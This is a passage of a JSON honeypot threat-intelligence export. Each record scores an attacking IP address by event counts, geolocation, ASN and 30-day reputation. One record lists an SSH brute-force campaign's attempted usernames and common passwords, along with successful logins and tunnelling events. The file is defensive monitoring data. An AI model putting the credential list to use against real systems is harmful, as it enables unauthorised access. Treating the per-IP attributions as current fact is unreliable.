      "first_seen": "2026-03-15T17:03:57.752Z",
      "last_seen": "2026-03-15T23:15:47.457Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T17:03:57.752000+00:00",
        "last_seen_30d": "2026-03-15T23:16:50.197000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "185.180.141.15": {
      "attack_count": 4,
      "first_seen": "2026-03-21T01:27:31.814Z",
      "last_seen": "2026-03-21T01:27:46.417Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 80.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 29,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T05:22:20+00:00",
        "last_seen_30d": "2026-03-30T10:47:11.427000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 21,
        "Cowrie": 4,
        "H0neytr4p": 2
      }
    },
    "223.204.197.246": {
      "attack_count": 4,
      "first_seen": "2026-03-23T18:21:05.103Z",
      "last_seen": "2026-03-23T18:21:35.998Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Pattaya",
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T18:21:05.103000+00:00",
        "last_seen_30d": "2026-03-23T18:22:44.817000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "45.55.36.228": {
      "attack_count": 4,
      "first_seen": "2026-03-25T20:36:45.120Z",
      "last_seen": "2026-03-25T20:36:53.122Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-25T20:36:41+00:00",
        "last_seen_30d": "2026-03-25T20:38:02.520000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "58.243.126.155": {
      "attack_count": 4,
      "first_seen": "2026-03-30T14:09:23.416Z",
      "last_seen": "2026-03-30T14:09:23.982Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T14:09:23.416000+00:00",
        "last_seen_30d": "2026-03-30T14:10:29.556000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "61.245.11.87": {
      "attack_count": 3,
      "first_seen": "2026-03-29T18:34:43.056Z",
      "last_seen": "2026-03-29T18:35:44.323Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 19970,
      "as_org": "R&R Managed Telecom Services",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.4,
        "persistence": 17.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 21,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-09T13:04:56+00:00",
        "last_seen_30d": "2026-03-29T18:36:53.653000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Tanner": 46,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "103.243.4.135": {
      "attack_count": 2,
      "first_seen": "2026-03-23T12:19:25.698Z",
      "last_seen": "2026-03-23T12:19:40.055Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133275,
      "as_org": "Gigantic Infotel Pvt Ltd",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T12:19:25.698000+00:00",
        "last_seen_30d": "2026-03-23T12:20:45.694000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.83.243.113": {
      "attack_count": 2,
      "first_seen": "2026-03-09T18:52:03.414Z",
      "last_seen": "2026-03-09T18:52:35.030Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T18:52:03.414000+00:00",
        "last_seen_30d": "2026-03-09T18:53:41.205000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "14.97.145.226": {
      "attack_count": 2,
      "first_seen": "2026-03-09T13:06:41.830Z",
      "last_seen": "2026-03-09T13:06:42.116Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gurugram",
      "asn": 45820,
      "as_org": "Tata Teleservices ISP AS",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T13:06:41.830000+00:00",
        "last_seen_30d": "2026-03-09T13:07:49.497000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "152.69.204.217": {
      "attack_count": 2,
      "first_seen": "2026-03-07T14:43:16.660Z",
      "last_seen": "2026-03-07T14:43:47.143Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Osaka",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T14:43:16.660000+00:00",
        "last_seen_30d": "2026-03-07T14:44:55.062000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "157.245.244.250": {
      "attack_count": 2,
      "first_seen": "2026-03-23T01:50:58.970Z",
      "last_seen": "2026-03-23T01:50:59.191Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T01:50:58.970000+00:00",
        "last_seen_30d": "2026-03-23T01:52:06.995000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "173.50.123.219": {
      "attack_count": 2,
      "first_seen": "2026-03-11T06:02:11.814Z",
      "last_seen": "2026-03-11T06:02:25.378Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Virginia Beach",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T06:02:11.814000+00:00",
        "last_seen_30d": "2026-03-11T06:03:29.127000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.201.174.249": {
      "attack_count": 2,
      "first_seen": "2026-03-17T23:21:27.013Z",
      "last_seen": "2026-03-17T23:21:40.988Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Daegu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T23:21:27.013000+00:00",
        "last_seen_30d": "2026-03-17T23:22:49.822000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.222.172.22": {
      "attack_count": 2,
      "first_seen": "2026-03-14T23:04:08.662Z",
      "last_seen": "2026-03-14T23:04:41.739Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 3216,
      "as_org": "PVimpelCom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T23:04:08.662000+00:00",
        "last_seen_30d": "2026-03-14T23:05:46.471000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "20.185.11.76": {
      "attack_count": 2,
      "first_seen": "2026-03-14T01:33:17.131Z",
      "last_seen": "2026-03-14T01:33:48.218Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T01:33:17.131000+00:00",
        "last_seen_30d": "2026-03-14T01:34:55.556000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "209.38.91.43": {
      "attack_count": 2,
      "first_seen": "2026-03-07T19:14:45.231Z",
      "last_seen": "2026-03-07T19:14:45.232Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T19:14:45.231000+00:00",
        "last_seen_30d": "2026-03-07T19:15:45.892000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "221.157.85.22": {
      "attack_count": 2,
      "first_seen": "2026-03-20T12:21:29.185Z",
      "last_seen": "2026-03-20T12:21:46.208Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Namyangju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T12:21:29.185000+00:00",
        "last_seen_30d": "2026-03-20T12:22:52.494000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "3.29.2.135": {
      "attack_count": 2,
      "first_seen": "2026-03-28T03:27:18.003Z",
      "last_seen": "2026-03-28T03:27:49.206Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T03:27:18.003000+00:00",
        "last_seen_30d": "2026-03-28T03:28:57.934000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.21.242": {
      "attack_count": 2,
      "first_seen": "2026-03-18T06:20:45.229Z",
      "last_seen": "2026-03-18T06:20:58.356Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T06:20:45.229000+00:00",
        "last_seen_30d": "2026-03-18T06:22:03.619000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.96.199": {
      "attack_count": 2,
      "first_seen": "2026-03-16T19:17:55.041Z",
      "last_seen": "2026-03-16T19:18:08.148Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T19:17:55.041000+00:00",
        "last_seen_30d": "2026-03-16T19:19:09.880000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.87.169.127": {
      "attack_count": 2,
      "first_seen": "2026-03-09T03:47:08.915Z",
      "last_seen": "2026-03-09T03:47:23.154Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T03:47:08.915000+00:00",
        "last_seen_30d": "2026-03-09T03:48:26.451000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.94.173.2": {
      "attack_count": 2,
      "first_seen": "2026-03-02T02:55:38.921Z",
      "last_seen": "2026-03-02T02:55:51.250Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Rome",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:55:38.921000+00:00",
        "last_seen_30d": "2026-03-02T02:56:55.083000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "66.167.166.170": {
      "attack_count": 2,
      "first_seen": "2026-03-09T03:28:36.960Z",
      "last_seen": "2026-03-09T03:28:49.351Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T03:28:36.960000+00:00",
        "last_seen_30d": "2026-03-09T03:29:56.437000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.219.193.108": {
      "attack_count": 2,
      "first_seen": "2026-03-17T05:39:32.248Z",
      "last_seen": "2026-03-17T05:40:03.062Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T05:39:32.248000+00:00",
        "last_seen_30d": "2026-03-17T05:41:09.858000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.230.168.4": {
      "attack_count": 2,
      "first_seen": "2026-03-17T21:09:55.507Z",
      "last_seen": "2026-03-17T21:10:05.899Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 30,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T02:53:01.176000+00:00",
        "last_seen_30d": "2026-03-31T23:30:45.021000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 126,
        "Honeytrap": 39,
        "Miniprint": 8,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "91.231.89.232": {
      "attack_count": 2,
      "first_seen": "2026-03-07T16:45:41.872Z",
      "last_seen": "2026-03-07T16:45:41.873Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T03:51:00.816000+00:00",
        "last_seen_30d": "2026-03-31T22:26:00.847000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 118,
        "Honeytrap": 32,
        "Cowrie": 2
      }
    },
    "91.231.89.248": {
      "attack_count": 2,
      "first_seen": "2026-03-28T01:11:38.600Z",
      "last_seen": "2026-03-28T01:11:48.943Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 30,
        "ports_targeted_30d": 54,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T07:42:24.959000+00:00",
        "last_seen_30d": "2026-03-31T22:31:49.172000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130,
        "Honeytrap": 39,
        "Cowrie": 2
      }
    },
    "45.87.249.155": {
      "attack_count": 5845,
      "first_seen": "2026-03-15T23:09:57.072Z",
      "last_seen": "2026-03-23T13:53:56.047Z",
      "sessions": 1165,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "pi",
        "user",
        "test",
        "ftpuser",
        "support",
        "ubnt",
        "user1",
        "administrator",
        "ftp",
        "guest",
        "sshd",
        "postgres",
        "Admin",
        "alex",
        "anita",
        "internet",
        "james",
        "test1"
      ],
      "passwords_attempted": [
        "123456",
        "12345",
        "password",
        "admin",
        "123",
        "1234",
        "12345678",
        "test",
        "1",
        "123456789",
        "Password1",
        "0000",
        "root",
        "video",
        "123123",
        "P@ssw0rd",
        "qwerty",
        "111111",
        "abcd1234",
        "admin01"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9069,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T23:09:57.072000+00:00",
        "last_seen_30d": "2026-03-23T13:55:02.368000+00:00",
        "days_since_last_seen": 8
